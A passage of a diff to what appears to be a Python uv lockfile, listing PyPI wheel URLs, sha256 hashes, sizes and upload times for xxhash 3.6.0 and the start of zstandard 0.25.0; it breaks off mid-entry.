"https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" }, + { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" }, + { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" }, + { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" }, + { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" }, + { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" }, + { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" }, + { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" }, + { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" }, + { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" }, + { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" }, + { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" }, + { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" }, + { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" }, + { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" }, + { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" }, + { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" }, + { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" }, + { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" }, + { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" }, + { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" }, + { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" }, + { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" }, + { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" }, + { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" }, + { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" }, + { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" }, + { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" }, + { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" }, + { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" }, + { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" }, + { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" }, + { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" }, + { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" }, + { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = 